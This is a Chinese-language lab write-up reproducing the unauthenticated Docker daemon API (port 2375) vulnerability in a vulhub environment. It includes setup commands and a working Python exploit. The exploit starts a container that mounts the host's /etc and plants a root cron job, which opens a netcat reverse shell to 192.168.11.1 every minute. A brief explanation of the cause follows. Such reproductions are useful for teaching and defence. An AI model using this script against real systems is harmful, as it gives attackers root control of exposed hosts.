docker daemon api 未授权访问漏洞
1.漏洞影响版本
随意启动一个docker容器
2.漏洞危害
crontabs反弹shell
3.漏洞POC
cd /root/vulhub/docker/unauthorized-rce //进入本次复现的漏洞目录
docker-compose build
docker-compose up -d //docker-compose搭建环境
访问your-ip:2375/version验证是否搭建成功
进入docker的环境,修改虚拟机的docker源,否则500错误
mkdir -p /etc/docker
tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://l10nt4hq.mirror.aliyuncs.com"]
}
EOF
使用python脚本,建立root的sh shell反弹,脚本如下:
import docker
client = docker.DockerClient(base_url='http://192.168.11.160:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.11.1 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
4.复盘
漏洞出现原因
利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
总结
1.crontab -e编辑用户定时任务
2.crontab -l查看用户定时任务
3.firefox查看JSON格式的返回页更好看
4.本次使用nc反弹sh shell没有交互式命令行